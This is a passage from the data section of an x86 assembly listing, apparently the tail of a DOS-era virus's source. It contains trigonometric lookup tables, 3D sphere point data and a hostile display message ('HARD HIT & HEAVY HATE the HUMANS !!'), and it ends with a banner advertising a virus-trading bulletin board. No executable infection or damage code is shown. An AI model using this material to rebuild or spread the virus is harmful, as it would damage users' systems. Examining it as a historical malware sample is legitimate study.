  1535.         even
  1536.  
  1537. plotdw          dw 0
  1538.  
  1539. unplotdw        dw 0
  1540.  
  1541.  
  1542.  
  1543. sintabl         dw      0,      804,   1608,  2410,  3212,  4011,  4808,  5602,  6393
  1544.  
  1545.                 dw      7179,   7962,  8739,  9512, 10278, 11039, 11793, 12539, 13279
  1546.  
  1547.                 dw      14010, 14732, 15446, 16151, 16846, 17530, 18204, 18868, 19519
  1548.  
  1549.                 dw      20159, 20787, 21403, 22005, 22594, 23170, 23731, 24279, 24811
  1550.  
  1551.                 dw      25329, 25832, 26319, 26790, 27245, 27683, 28105, 28510, 28898
  1552.  
  1553.                 dw      29268, 29621, 29956, 30273, 30571, 30852, 31113, 31356, 31580
  1554.  
  1555.                 dw      31785, 31971, 32137, 32285, 32412, 32521, 32609, 32678, 32728
  1556.  
  1557.                 dw      32757, 32767, 32757, 32728, 32678, 32609, 32521, 32412, 32285
  1558.  
  1559.                 dw      32137, 31971, 31785, 31580, 31356, 31113, 30852, 30571, 30273
  1560.  
  1561.                 dw      29956, 29621, 29268, 28898, 28510, 28105, 27683, 27245, 26790
  1562.  
  1563.                 dw      26319, 25832, 25329, 24811, 24279, 23731, 23170, 22594, 22005
  1564.  
  1565.                 dw      21403, 20787, 20159, 19519, 18868, 18204, 17530, 16846, 16151
  1566.  
  1567.                 dw      15446, 14732, 14010, 13279, 12539, 11793, 11039, 10278,  9512
  1568.  
  1569.                 dw      8739,   7962,  7179,  6393,  5602,  4808,  4011,  3212,  2410
  1570.  
  1571.                 dw      1608,    804,     0,  -804, -1608, -2410, -3212, -4011, -4808
  1572.  
  1573.                 dw      -5602, -6393, -7179, -7962, -8739, -9512,-10278,-11039,-11793
  1574.  
  1575.                 dw      -12539,-13279,-14010,-14732,-15446,-16151,-16846,-17530,-18204
  1576.  
  1577.                 dw      -18868,-19519,-20159,-20787,-21403,-22005,-22594,-23170,-23731
  1578.  
  1579.                 dw      -24279,-24811,-25329,-25832,-26319,-26790,-27245,-27683,-28105
  1580.  
  1581.                 dw      -28510,-28898,-29268,-29621,-29956,-30273,-30571,-30852,-31113
  1582.  
  1583.                 dw      -31356,-31580,-31785,-31971,-32137,-32285,-32412,-32521,-32609
  1584.  
  1585.                 dw      -32678,-32728,-32757,-32767,-32757,-32728,-32678,-32609,-32521
  1586.  
  1587.                 dw      -32412,-32285,-32137,-31971,-31785,-31580,-31356,-31113,-30852
  1588.  
  1589.                 dw      -30571,-30273,-29956,-29621,-29268,-28898,-28510,-28105,-27683
  1590.  
  1591.                 dw      -27245,-26790,-26319,-25832,-25329,-24811,-24279,-23731,-23170
  1592.  
  1593.                 dw      -22594,-22005,-21403,-20787,-20159,-19519,-18868,-18204,-17530
  1594.  
  1595.                 dw      -16846,-16151,-15446,-14732,-14010,-13279,-12539,-11793,-11039
  1596.  
  1597.                 dw      -10278, -9512, -8739, -7962, -7179, -6393, -5602, -4808, -4011
  1598.  
  1599.                 dw      -3212,  -2410, -1608,  -804
  1600.  
  1601. costabl         dw      32767,  32757, 32728, 32678, 32609, 32521, 32412, 32285
  1602.  
  1603.                 dw      32137,  31971, 31785, 31580, 31356, 31113, 30852, 30571
  1604.  
  1605.                 dw      30273,  29956, 29621, 29268, 28898, 28510, 28105, 27683
  1606.  
  1607.                 dw      27245,  26790, 26319, 25832, 25329, 24811, 24279, 23731
  1608.  
  1609.                 dw      23170,  22594, 22005, 21403, 20787, 20159, 19519, 18868
  1610.  
  1611.                 dw      18204,  17530, 16846, 16151, 15446, 14732, 14010, 13279
  1612.  
  1613.                 dw      12539,  11793, 11039, 10278,  9512,  8739,  7962,  7179
  1614.  
  1615.                 dw       6393,   5602,  4808,  4011,  3212,  2410,  1608,   804
  1616.  
  1617.                 dw          0,   -804, -1608, -2410, -3212, -4011, -4808, -5602
  1618.  
  1619.                 dw      -6393,  -7179, -7962, -8739, -9512,-10278,-11039,-11793
  1620.  
  1621.                 dw     -12539, -13279,-14010,-14732,-15446,-16151,-16846,-17530
  1622.  
  1623.                 dw     -18204, -18868,-19519,-20159,-20787,-21403,-22005,-22594
  1624.  
  1625.                 dw     -23170, -23731,-24279,-24811,-25329,-25832,-26319,-26790
  1626.  
  1627.                 dw     -27245, -27683,-28105,-28510,-28898,-29268,-29621,-29956
  1628.  
  1629.                 dw     -30273, -30571,-30852,-31113,-31356,-31580,-31785,-31971
  1630.  
  1631.                 dw     -32137, -32285,-32412,-32521,-32609,-32678,-32728,-32757
  1632.  
  1633.                 dw     -32767, -32757,-32728,-32678,-32609,-32521,-32412,-32285
  1634.  
  1635.                 dw     -32137, -31971,-31785,-31580,-31356,-31113,-30852,-30571
  1636.  
  1637.                 dw     -30273, -29956,-29621,-29268,-28898,-28510,-28105,-27683
  1638.  
  1639.                 dw     -27245, -26790,-26319,-25832,-25329,-24811,-24279,-23731
  1640.  
  1641.                 dw     -23170, -22594,-22005,-21403,-20787,-20159,-19519,-18868
  1642.  
  1643.                 dw     -18204, -17530,-16846,-16151,-15446,-14732,-14010,-13279
  1644.  
  1645.                 dw     -12539, -11793,-11039,-10278, -9512, -8739, -7962, -7179
  1646.  
  1647.                 dw      -6393,  -5602, -4808, -4011, -3212, -2410, -1608,  -804
  1648.  
  1649.                 dw          0,    804,  1608,  2410,  3212,  4011,  4808,  5602
  1650.  
  1651.                 dw       6393,   7179,  7962,  8739,  9512, 10278, 11039, 11793
  1652.  
  1653.                 dw      12539,  13279, 14010, 14732, 15446, 16151, 16846, 17530
  1654.  
  1655.                 dw      18204,  18868, 19519, 20159, 20787, 21403, 22005, 22594
  1656.  
  1657.                 dw      23170,  23731, 24279, 24811, 25329, 25832, 26319, 26790
  1658.  
  1659.                 dw      27245,  27683, 28105, 28510, 28898, 29268, 29621, 29956
  1660.  
  1661.                 dw      30273,  30571, 30852, 31113, 31356, 31580, 31785, 31971
  1662.  
  1663.                 dw      32137,  32285, 32412, 32521, 32609, 32678, 32728, 32757
  1664.  
  1665. gombdata:
  1666.  
  1667.                 DW       44,  3, 22, 29,  6, 40,  7,  9, 48,-14, 12, 46
  1668.  
  1669.                 DW      -33, 15, 33,-44, 18, 14,-44, 21, -7,-35, 24,-25
  1670.  
  1671.                 DW      -19, 26,-37,  0, 29,-40, 17, 31,-34, 29, 34,-21
  1672.  
  1673.                 DW       33, 36, -5, 30, 38,  9, 20, 40, 20,  8, 42, 25
  1674.  
  1675.                 DW       -3, 43, 23,-12, 45, 17,-16, 46,  8,-15, 47,  0
  1676.  
  1677.                 DW      -11, 48, -5, -5, 49, -7,  0, 49, -6,  0, 49, -2
  1678.  
  1679.                 DW        0, 49,  0, -2, 49,  0, -6, 49,  0, -7, 49, -5
  1680.  
  1681.                 DW       -5, 48,-11,  0, 47,-15,  8, 46,-16, 17, 45,-12
  1682.  
  1683.                 DW       23, 43, -3, 25, 42,  8, 20, 40, 20,  9, 38, 30
  1684.  
  1685.                 DW       -5, 36, 33,-21, 34, 29,-34, 31, 17,-40, 29,  0
  1686.  
  1687.                 DW      -37,26,-19,-25,24,-35,-7,21,-44,14,18,-44
  1688.  
  1689.                 DW      33,15,-33,46,12,-14,48,9,7,40,6,29
  1690.  
  1691.                 DW      22,3,44,0,0,49,-22,-3,44,-40,-6,29
  1692.  
  1693.                 DW      -48,-9,7,-46,-12,-14,-33,-15,-33,-14,-18,-44
  1694.  
  1695.                 DW      7,-21,-44,25,-24,-35,37,-26,-19,40,-29,0
  1696.  
  1697.                 DW      34,-31,17,21,-34,29,5,-36,33,-9,-38,30
  1698.  
  1699.                 DW      -20,-40,20,-25,-42,8,-23,-43,-3,-17,-45,-12
  1700.  
  1701.                 DW      -8,-46,-16,0,-47,-15,5,-48,-11,7,-49,-5
  1702.  
  1703.                 DW      6,-49,0,2,-49,0,0,-49,0,0,-49,-2
  1704.  
  1705.                 DW      0,-49,-6,5,-49,-7,11,-48,-5,15,-47,0
  1706.  
  1707.                 DW      16,-46,8,12,-45,17,3,-43,23,-8,-42,25
  1708.  
  1709.                 DW      -20,-40,20,-30,-38,9,-33,-36,-5,-29,-34,-21
  1710.  
  1711.                 DW      -17,-31,-34,0,-29,-40,19,-26,-37,35,-24,-25
  1712.  
  1713.                 DW      44,-21,-7,44,-18,14,33,-15,33,14,-12,46
  1714.  
  1715.                 DW      -7,-9,48,-29,-6,40,-44,-3,22,-49,0,0
  1716.  
  1717.                 DW      -44,3,-22,-29,6,-40,-7,9,-48,14,12,-46
  1718.  
  1719.                 DW      33,15,-33,44,18,-14,44,21,7,35,24,25
  1720.  
  1721.                 DW      19,26,37,0,29,40,-17,31,34,-29,34,21
  1722.  
  1723.                 DW      -33,36,5,-30,38,-9,-20,40,-20,-8,42,-25
  1724.  
  1725.                 DW      3,43,-23,12,45,-17,16,46,-8,15,47,0
  1726.  
  1727.                 DW      11,48,5,5,49,7,0,49,6,0,49,2
  1728.  
  1729.                 DW      0,49,0,2,49,0,6,49,0,7,49,5
  1730.  
  1731.                 DW      5,48,11,0,47,15,-8,46,16,-17,45,12
  1732.  
  1733.                 DW      -23,43,3,-25,42,-8,-20,40,-20,-9,38,-30
  1734.  
  1735.                 DW      5,36,-33,21,34,-29,34,31,-17,40,29,0
  1736.  
  1737.                 DW      37,26,19,25,24,35,7,21,44,-14,18,44
  1738.  
  1739.                 DW      -33,15,33,-46,12,14,-48,9,-7,-40,6,-29
  1740.  
  1741.                 DW      -22,3,-44,0,0,-49,22,-3,-44,40,-6,-29
  1742.  
  1743.                 DW      48,-9,-7,46,-12,14,33,-15,33,14,-18,44
  1744.  
  1745.                 DW      -7,-21,44,-25,-24,35,-37,-26,19,-40,-29,0
  1746.  
  1747.                 DW      -34,-31,-17,-21,-34,-29,-5,-36,-33,9,-38,-30
  1748.  
  1749.                 DW      20,-40,-20,25,-42,-8,23,-43,3,17,-45,12
  1750.  
  1751.                 DW      8,-46,16,0,-47,15,-5,-48,11,-7,-49,5
  1752.  
  1753.                 DW      -6,-49,0,-2,-49,0,0,-49,0,0,-49,2
  1754.  
  1755.                 DW      0,-49,6,-5,-49,7,-11,-48,5,-15,-47,0
  1756.  
  1757.                 DW      -16,-46,-8,-12,-45,-17,-3,-43,-23,8,-42,-25
  1758.  
  1759.                 DW      20,-40,-20,30,-38,-9,33,-36,5,29,-34,21
  1760.  
  1761.                 DW      17,-31,34,0,-29,40,-19,-26,37,-35,-24,25
  1762.  
  1763.                 DW      -44,-21,7,-44,-18,-14,-33,-15,-33,-14,-12,-46
  1764.  
  1765.                 DW      7,-9,-48,29,-6,-40,44,-3,-22,49,0,0
  1766.  
  1767. patt:           DB       0, 0, 0, 0, 0, 1, 1, 2, 4, 5, 7, 9,11,14,17,20,23,27
  1768.  
  1769.                 db      31,35,40,45,50,56,61,67,73,80,86,93
  1770.  
  1771.  
  1772.  
  1773.  
  1774.  
  1775.  
  1776.  
  1777. mess            db      'HARD HIT & HEAVY HATE the HUMANS !!'
  1778.  
  1779.                 db      '           [ H.H.& H.H. the H. ]   '
  1780.  
  1781. drt             dw      5 dup (0)
  1782.  
  1783. memory:
  1784.  
  1785.                 CODE     ENDS
  1786.  
  1787.  
  1788.  
  1789.                 END     START
  1790.  
  1791.  
  1792.  
  1793. ; ─────────────────────────────────────────────────────────────────────────
  1794.  
  1795. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  1796.  
  1797. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  1798.  
  1799. ; ─────────────────────────────────────────────────────────────────────────
  1800.  
  1801.  
  1802.  
  1803.